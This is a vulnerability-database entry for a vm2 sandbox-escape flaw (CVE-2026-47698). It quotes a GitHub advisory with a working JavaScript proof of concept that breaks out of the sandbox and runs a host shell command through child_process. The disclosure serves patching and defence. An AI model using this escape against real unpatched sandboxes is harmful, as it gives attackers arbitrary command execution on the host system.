CVE-2026-47698
criticalpriority · track · 0EPSS 0.010 · 62 %ileDEEUUSEPSS · scored 2026-10-27
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (4)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-2865vm2: Mehrere SchwachstellenDeutsch2026-08-16csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um einen Denial of Service Angriff durchzuführen, um beliebigen Programmcode auszuführen, um Informationen offenzulegen, und um Daten zu manipulieren.
- GHSA-cfcw-xp6x-25gjvm2: Sandbox Breakout Using Dangerous Host Proto Mutators2026-08-17ghsa · osvUS
### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous. ### PoC ```js const {VM} = require("."); const vm = new VM(); console.log(vm.run(` const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } } f(); `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
also known as (2)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (6)
External citations — patches, advisories, analysis.
- https://github.com/patriksimek/vm2/commit/a85acb61f81402c6eabf32760aa11272af6d0f9eenisa_euvd
- https://github.com/patriksimek/vm2/releases/tag/3.11.6enisa_euvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gjenisa_euvd
- https://github.com/patriksimek/vm2/commit/a85acb61f81402c6eabf32760aa11272af6d0f9envd
- https://github.com/patriksimek/vm2/releases/tag/3.11.6nvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gjnvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan